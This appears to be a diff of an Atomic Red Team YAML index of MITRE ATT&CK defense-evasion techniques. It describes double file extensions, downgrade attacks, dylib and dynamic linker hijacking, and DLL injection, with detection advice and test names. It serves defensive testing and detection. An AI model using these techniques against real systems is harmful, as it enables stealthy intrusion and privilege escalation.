+        description: Sygnia. (2020, December). Detection and Hunting of Golden SAML
+          Attack. Retrieved January 6, 2021.
+        source_name: Sygnia Golden SAML
+      - url: https://us-cert.cisa.gov/ncas/alerts/aa21-008a
+        description: CISA. (2021, January 8). Detecting Post-Compromise Threat Activity
+          in Microsoft Cloud Environments. Retrieved January 8, 2021.
+        source_name: CISA SolarWinds Cloud Detection
+      - url: https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365
+        description: Microsoft. (2020, September 14). Update or repair the settings
+          of a federated domain in Office 365, Azure, or Intune. Retrieved December
+          30, 2020.
+        source_name: Microsoft - Update or Repair Federated domain
       identifier: T1484.002
     atomic_tests:
     - name: Add Federation to Azure AD
@@ -26941,20 +27404,137 @@ defense-evasion:
           Remove-AzureADExternalFederationDomain -ExternalDomainName "#{domain_name}"
           } catch {}
         name: powershell
-  T1601.002:
+  T1036.007:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1601.002
-        url: https://attack.mitre.org/techniques/T1601/002
-      - source_name: Cisco Synful Knock Evolution
-        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
-        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
-          IOS devices. Retrieved October 19, 2020.
+      type: attack-pattern
+      modified: '2021-10-14T21:09:59.588Z'
+      name: Double File Extension
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Metadata'
+      x_mitre_version: '1.0'
+      created: '2021-08-04T20:54:03.066Z'
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e
+      description: "Adversaries may abuse a double extension in the filename as a
+        means of masquerading the true file type. A file name may include a secondary
+        file type extension that may cause only the first extension to be displayed
+        (ex: <code>File.txt.exe</code> may render in some views as just <code>File.txt</code>).
+        However, the second extension is the true file type that determines how the
+        file is opened and executed. The real file extension may be hidden by the
+        operating system in the file browser (ex: explorer.exe), as well as in any
+        software configured using or similar to the system’s policies.(Citation: PCMag
+        DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries may abuse
+        double extensions to attempt to conceal dangerous file types of payloads.
+        A very common usage involves tricking a user into opening what they think
+        is a benign file type but is actually executable code. Such files often pose
+        as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001)
+        into a user’s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)
+        then [User Execution](https://attack.mitre.org/techniques/T1204). For example,
+        an executable file attachment named <code>Evil.txt.exe</code> may display
+        as <code>Evil.txt</code> to a user. The user may then view it as a benign
+        text file and open it, inadvertently executing the hidden malware.(Citation:
+        SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt,
+        .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first
+        extension to appear benign. Executable extensions commonly regarded as dangerous,
+        such as .exe, .lnk, .hta, and .scr, often appear as the second extension and
+        true file type."
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      x_mitre_detection: 'Monitor for files written to disk that contain two file
+        extensions, particularly when the second is an executable.(Citation: Seqrite
+        DoubleExtension)'
       created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1036/007
+        external_id: T1036.007
+        source_name: mitre-attack
+      - url: https://www.pcmag.com/encyclopedia/term/double-extension
+        description: 'PCMag. (n.d.). Encyclopedia: double extension. Retrieved August
+          4, 2021.'
+        source_name: PCMag DoubleExtension
+      - url: https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/
+        description: 'Eugene Tkachenko. (2020, May 1). Rule of the Week: Possible
+          Malicious File Double Extension. Retrieved July 27, 2021.'
+        source_name: SOCPrime DoubleExtension
+      - url: https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/
+        description: Seqrite. (n.d.). How to avoid dual attack and vulnerable files
+          with double extension?. Retrieved July 27, 2021.
+        source_name: Seqrite DoubleExtension
+    atomic_tests: []
+  T1562.010:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Downgrade Attack
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'Process: Process Metadata'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.0'
+      modified: '2021-10-15T00:48:06.723Z'
+      created: '2021-10-08T14:06:28.212Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Windows
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497
+      description: |-
+        Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)
+
+        Adversaries may downgrade and use less-secure versions of various features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557).(Citation: Praetorian TLS Downgrade Attack 2014)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      x_mitre_detection: 'Monitor for commands or other activity that may be indicative
+        of attempts to abuse older or deprecated technologies (ex: <code>powershell
+        –v 2</code>). Also monitor for other abnormal events, such as execution of
+        and/or processes spawning from a version of a tool that is not expected in
+        the environment.'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1562/010
+        external_id: T1562.010
+        source_name: mitre-attack
+      - url: https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/
+        description: 'Falcon Complete Team. (2021, May 11). Response When Minutes
+          Matter: Rising Up Against Ransomware. Retrieved October 8, 2021.'
+        source_name: CrowdStrike BGH Ransomware 2021
+      - url: https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique
+        description: Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel
+          Red Teaming Technique. Retrieved October 8, 2021.
+        source_name: Mandiant BYOL 2018
+      - url: https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/
+        description: Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol
+          Downgrade Attack. Retrieved October 8, 2021.
+        source_name: Praetorian TLS Downgrade Attack 2014
+    atomic_tests: []
+  T1601.002:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Downgrade System Image
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-10-22T17:49:02.660Z'
+      created: '2020-10-19T19:53:10.576Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Network
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d
       description: "Adversaries may install an older version of the operating system
         of a network device to weaken security.  Older operating system versions on
         network devices often have weaker encryption ciphers and, in general, fewer/less
@@ -26970,17 +27550,9 @@ defense-evasion:
         \ Downgrading of a system image can be done on its own, or it can be used
         in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001).
         \ "
-      id: attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-10-22T17:49:02.660Z'
-      created: '2020-10-19T19:53:10.576Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: 'Many embedded network devices provide a command to print
         the version of the currently running operating system.  Use this command to
         query the operating system for its version number and compare it to what is
@@ -26988,62 +27560,39 @@ defense-evasion:
         in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001),
         it may be appropriate to also verify the integrity of the vendor provided
         operating system image file. '
-      x_mitre_data_sources:
-      - 'File: File Modification'
-      x_mitre_platforms:
-      - Network
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1601/002
+        external_id: T1601.002
+        source_name: mitre-attack
+      - url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
+        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
+          IOS devices. Retrieved October 19, 2020.
+        source_name: Cisco Synful Knock Evolution
     atomic_tests: []
   T1574.004:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Dylib Hijacking
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Module: Module Load'
+      x_mitre_version: '2.0'
+      modified: '2021-04-27T20:19:15.212Z'
+      created: '2020-03-16T15:23:30.896Z'
+      x_mitre_defense_bypassed:
+      - Application control
+      x_mitre_platforms:
+      - macOS
+      x_mitre_is_subtechnique: true
       id: attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490
       description: |-
         Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable.  Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.
 
         Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)
-      name: Dylib Hijacking
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.004
-        url: https://attack.mitre.org/techniques/T1574/004
-      - external_id: CAPEC-471
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/471.html
-      - source_name: Wardle Dylib Hijack Vulnerable Apps
-        url: https://objective-see.com/blog/blog_0x46.html
-        description: Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore
-          Apps. Retrieved March 31, 2021.
-      - source_name: Wardle Dylib Hijacking OSX 2015
-        url: https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf
-        description: Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved
-          March 29, 2021.
-      - source_name: Github EmpireProject HijackScanner
-        url: https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py
-        description: Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib
-          Hijack Vulnerability Scanner. Retrieved April 1, 2021.
-      - source_name: Github EmpireProject CreateHijacker Dylib
-        url: https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py
-        description: Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib
-          Hijacker. Retrieved April 1, 2021.
-      - url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
-        description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved
-          July 10, 2017.
-        source_name: Writing Bad Malware for OSX
-      - source_name: wardle artofmalware volume1
-        url: https://taomm.org/vol1/pdfs.html
-        description: 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume
-          0x1: Analysis. Retrieved March 19, 2021.'
-      - source_name: MalwareUnicorn macOS Dylib Injection MachO
-        url: https://malwareunicorn.org/workshops/macos_dylib_injection.html#5
-        description: Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop.
-          Retrieved March 29, 2021.
-      - source_name: Apple Developer Doco Archive Run-Path
-        url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html
-        description: Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved
-          March 31, 2021.
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -27051,14 +27600,6 @@ defense-evasion:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2021-04-27T20:19:15.212Z'
-      created: '2020-03-16T15:23:30.896Z'
-      x_mitre_platforms:
-      - macOS
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Module: Module Load'
       x_mitre_detection: "Monitor file systems for moving, renaming, replacing, or
         modifying dylibs. Changes in the set of dylibs that are loaded by a process
         (compared to past behavior) that do not correlate with known software, patches,
@@ -27072,13 +27613,68 @@ defense-evasion:
         Objective-See's Dylib Hijacking Scanner can be used to identify applications
         vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation:
         Github EmpireProject HijackScanner)"
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '2.0'
-      x_mitre_defense_bypassed:
-      - Application control
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/004
+        external_id: T1574.004
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/471.html
+        external_id: CAPEC-471
+        source_name: capec
+      - url: https://objective-see.com/blog/blog_0x46.html
+        description: Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore
+          Apps. Retrieved March 31, 2021.
+        source_name: Wardle Dylib Hijack Vulnerable Apps
+      - url: https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf
+        description: Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved
+          March 29, 2021.
+        source_name: Wardle Dylib Hijacking OSX 2015
+      - url: https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py
+        description: Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib
+          Hijack Vulnerability Scanner. Retrieved April 1, 2021.
+        source_name: Github EmpireProject HijackScanner
+      - url: https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py
+        description: Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib
+          Hijacker. Retrieved April 1, 2021.
+        source_name: Github EmpireProject CreateHijacker Dylib
+      - source_name: Writing Bad Malware for OSX
+        description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved
+          July 10, 2017.
+        url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
+      - url: https://taomm.org/vol1/pdfs.html
+        description: 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume
+          0x1: Analysis. Retrieved March 19, 2021.'
+        source_name: wardle artofmalware volume1
+      - url: https://malwareunicorn.org/workshops/macos_dylib_injection.html#5
+        description: Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop.
+          Retrieved March 29, 2021.
+        source_name: MalwareUnicorn macOS Dylib Injection MachO
+      - url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html
+        description: Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved
+          March 31, 2021.
+        source_name: Apple Developer Doco Archive Run-Path
     atomic_tests: []
   T1574.006:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Dynamic Linker Hijacking
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Module: Module Load'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '2.0'
+      modified: '2021-04-27T19:55:18.453Z'
+      created: '2020-03-13T20:09:59.569Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
       id: attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825
       description: "Adversaries may execute their own malicious payloads by hijacking
         environment variables the dynamic linker uses to load shared libraries. During
@@ -27116,66 +27712,6 @@ defense-evasion:
         functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation:
         Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina
         Bypass) "
-      name: Dynamic Linker Hijacking
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.006
-        url: https://attack.mitre.org/techniques/T1574/006
-      - external_id: CAPEC-13
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/13.html
-      - external_id: CAPEC-640
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/640.html
-      - source_name: Man LD.SO
-        url: https://www.man7.org/linux/man-pages/man8/ld.so.8.html
-        description: Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved
-          June 15, 2020.
-      - source_name: TLDP Shared Libraries
-        url: https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html
-        description: The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved
-          January 31, 2020.
-      - source_name: Apple Doco Archive Dynamic Libraries
-        url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html
-        description: Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved
-          March 24, 2021.
-      - source_name: Baeldung LD_PRELOAD
-        url: https://www.baeldung.com/linux/ld_preload-trick-what-is
-        description: baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved
-          March 24, 2021.
-      - source_name: Code Injection on Linux and macOS
-        url: https://www.datawire.io/code-injection-on-linux-and-macos/
-        description: 'Itamar Turner-Trauring. (2017, April 18). “This will only hurt
-          for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved
-          December 20, 2017.'
-      - url: http://hick.org/code/skape/papers/needle.txt
-        description: skape. (2003, January 19). Linux x86 run-time process manipulation.
-          Retrieved December 20, 2017.
-        source_name: Uninformed Needle
-      - url: http://phrack.org/issues/51/8.html
-        description: halflife. (1997, September 1). Shared Library Redirection Techniques.
-          Retrieved December 20, 2017.
-        source_name: Phrack halfdead 1997
-      - source_name: Brown Exploiting Linkers
-        url: http://www.nth-dimension.org.uk/pub/BTL.pdf
-        description: 'Tim Brown. (2011, June 29). Breaking the links: Exploiting the
-          linker. Retrieved March 29, 2021.'
-      - source_name: TheEvilBit DYLD_INSERT_LIBRARIES
-        url: https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/
-        description: Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection
-          in macOS / OSX. Retrieved March 26, 2020.
-      - source_name: Timac DYLD_INSERT_LIBRARIES
-        url: https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/
-        description: Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES.
-          Retrieved March 26, 2020.
-      - source_name: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass
-        url: https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191
-        description: Jon Gabilondo. (2019, September 22). How to Inject Code into
-          Mach-O Apps. Part II.. Retrieved March 24, 2021.
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -27183,25 +27719,66 @@ defense-evasion:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2021-04-27T19:55:18.453Z'
-      created: '2020-03-13T20:09:59.569Z'
-      x_mitre_permissions_required:
-      - User
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Module: Module Load'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
       x_mitre_detection: |-
         Monitor for changes to environment variables and files associated with loading shared libraries such as <code>LD_PRELOAD</code> and <code>DYLD_INSERT_LIBRARIES</code>, as well as the commands to implement these changes.
 
         Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '2.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/006
+        external_id: T1574.006
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/13.html
+        external_id: CAPEC-13
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/640.html
+        external_id: CAPEC-640
+        source_name: capec
+      - url: https://www.man7.org/linux/man-pages/man8/ld.so.8.html
+        description: Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved
+          June 15, 2020.
+        source_name: Man LD.SO
+      - url: https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html
+        description: The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved
+          January 31, 2020.
+        source_name: TLDP Shared Libraries
+      - url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html
+        description: Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved
+          March 24, 2021.
+        source_name: Apple Doco Archive Dynamic Libraries
+      - url: https://www.baeldung.com/linux/ld_preload-trick-what-is
+        description: baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved
+          March 24, 2021.
+        source_name: Baeldung LD_PRELOAD
+      - url: https://www.datawire.io/code-injection-on-linux-and-macos/
+        description: 'Itamar Turner-Trauring. (2017, April 18). “This will only hurt
+          for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved
+          December 20, 2017.'
+        source_name: Code Injection on Linux and macOS
+      - source_name: Uninformed Needle
+        description: skape. (2003, January 19). Linux x86 run-time process manipulation.
+          Retrieved December 20, 2017.
+        url: http://hick.org/code/skape/papers/needle.txt
+      - source_name: Phrack halfdead 1997
+        description: halflife. (1997, September 1). Shared Library Redirection Techniques.
+          Retrieved December 20, 2017.
+        url: http://phrack.org/issues/51/8.html
+      - url: http://www.nth-dimension.org.uk/pub/BTL.pdf
+        description: 'Tim Brown. (2011, June 29). Breaking the links: Exploiting the
+          linker. Retrieved March 29, 2021.'
+        source_name: Brown Exploiting Linkers
+      - url: https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/
+        description: Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection
+          in macOS / OSX. Retrieved March 26, 2020.
+        source_name: TheEvilBit DYLD_INSERT_LIBRARIES
+      - url: https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/
+        description: Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES.
+          Retrieved March 26, 2020.
+        source_name: Timac DYLD_INSERT_LIBRARIES
+      - url: https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191
+        description: Jon Gabilondo. (2019, September 22). How to Inject Code into
+          Mach-O Apps. Part II.. Retrieved March 24, 2021.
+        source_name: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass
       identifier: T1574.006
     atomic_tests:
     - name: Shared Library Injection via /etc/ld.so.preload
@@ -27281,23 +27858,27 @@ defense-evasion:
         name: bash
   T1055.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055.001
-        url: https://attack.mitre.org/techniques/T1055/001
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
-      - url: https://www.endgame.com/blog/technical-blog/hunting-memory
-        description: Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December
-          7, 2017.
-        source_name: Elastic HuntingNMemory June 2017
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Dynamic-link Library Injection
+      x_mitre_data_sources:
+      - 'Process: Process Modification'
+      - 'Module: Module Load'
+      - 'Process: OS API Execution'
+      - 'Process: Process Access'
+      x_mitre_version: '1.1'
+      modified: '2021-10-18T12:20:00.382Z'
+      created: '2020-01-14T01:26:08.145Z'
+      id: attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945
+      x_mitre_defense_bypassed:
+      - Application control
+      - Anti-virus
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may inject dynamic-link libraries (DLLs) into processes
         in order to evade process-based defenses as well as possibly elevate privileges.
         DLL injection is a method of executing arbitrary code in the address space
@@ -27317,24 +27898,11 @@ defense-evasion:
         to the process's memory, system/network resources, and possibly elevated privileges.
         Execution via DLL injection may also evade detection from security products
         since the execution is masked under a legitimate process. "
-      id: attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-11-10T18:29:30.879Z'
-      created: '2020-01-14T01:26:08.145Z'
-      x_mitre_defense_bypassed:
-      - Application control
-      - Anti-virus
-      x_mitre_data_sources:
-      - 'Module: Module Load'
-      - 'Process: OS API Execution'
-      - 'Process: Process Access'
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: "Monitoring Windows API calls indicative of the various types
         of code injection may generate a significant amount of data and may not be
         directly useful for defense unless collected under specific circumstances
@@ -27349,10 +27917,20 @@ defense-evasion:
         if a process is performing actions it usually does not, such as opening network
         connections, reading files, or other suspicious actions that could relate
         to post-compromise behavior. "
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1055/001
+        external_id: T1055.001
+        source_name: mitre-attack
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
+      - source_name: Elastic HuntingNMemory June 2017
+        description: Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December
+          7, 2017.
+        url: https://www.endgame.com/blog/technical-blog/hunting-memory
       identifier: T1055.001
     atomic_tests:
     - name: Process Injection via mavinject.exe
@@ -27392,30 +27970,28 @@ defense-evasion:
         elevation_required: true
   T1548.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1548.004
-        url: https://attack.mitre.org/techniques/T1548/004
-      - source_name: AppleDocs AuthorizationExecuteWithPrivileges
-        url: https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg
-        description: Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges.
-          Retrieved August 8, 2019.
-      - source_name: Death by 1000 installers; it's all broken!
-        url: https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8
-        description: Patrick Wardle. (2017). Death by 1000 installers; it's all broken!.
-          Retrieved August 8, 2019.
-      - source_name: Carbon Black Shlayer Feb 2019
-        url: https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/
-        description: Carbon Black Threat Analysis Unit. (2019, February 12). New macOS
-          Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.
-      - source_name: OSX Coldroot RAT
-        url: https://objective-see.com/blog/blog_0x2A.html
-        description: Patrick Wardle. (2018, February 17). Tearing Apart the Undetected
-          (OSX)Coldroot RAT. Retrieved August 8, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
